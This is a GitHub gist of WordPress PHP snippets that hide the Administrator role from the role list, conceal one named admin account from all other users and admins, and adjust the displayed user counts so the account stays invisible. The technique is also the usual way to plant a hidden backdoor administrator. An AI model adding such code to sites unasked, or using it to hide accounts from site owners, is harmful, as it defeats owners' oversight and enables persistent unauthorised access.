Skip to content

Instantly share code, notes, and snippets.

@jasonb4u
Last active November 11, 2021 07:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jasonb4u/e9acb126460b9f1a87c17728fd18011b to your computer and use it in GitHub Desktop.
Save jasonb4u/e9acb126460b9f1a87c17728fd18011b to your computer and use it in GitHub Desktop.
Hide Admin Administrator User from User Role list
/****** Add these to Codes Snippets or in Child Theme functions.php file */
/****** This Removes Administrator role from roles list except logged in Admin, cannot ADD or edit any ADNINISTRATOR */
add_action( 'editable_roles' , 'hide_adminstrator_editable_roles' );
function hide_adminstrator_editable_roles( $roles ){
if ( isset( $roles['administrator'] ) && !current_user_can('level_10') ){
unset( $roles['administrator'] );
}
return $roles;
}
/****** the nezxt two code can work with each other */
/****** This hides a specific ADMIN User from ALL other admins/users */
/****** Change the [USER NAME GOES HERE] to the hidden user name to be */
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'USER NAME GOES HERE') {
} else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'USER NAME GOES HERE'",$user_search->query_where);
}
}
/******* This wil show ALL ADMINS and not THE hidden Admin */
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views) {
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment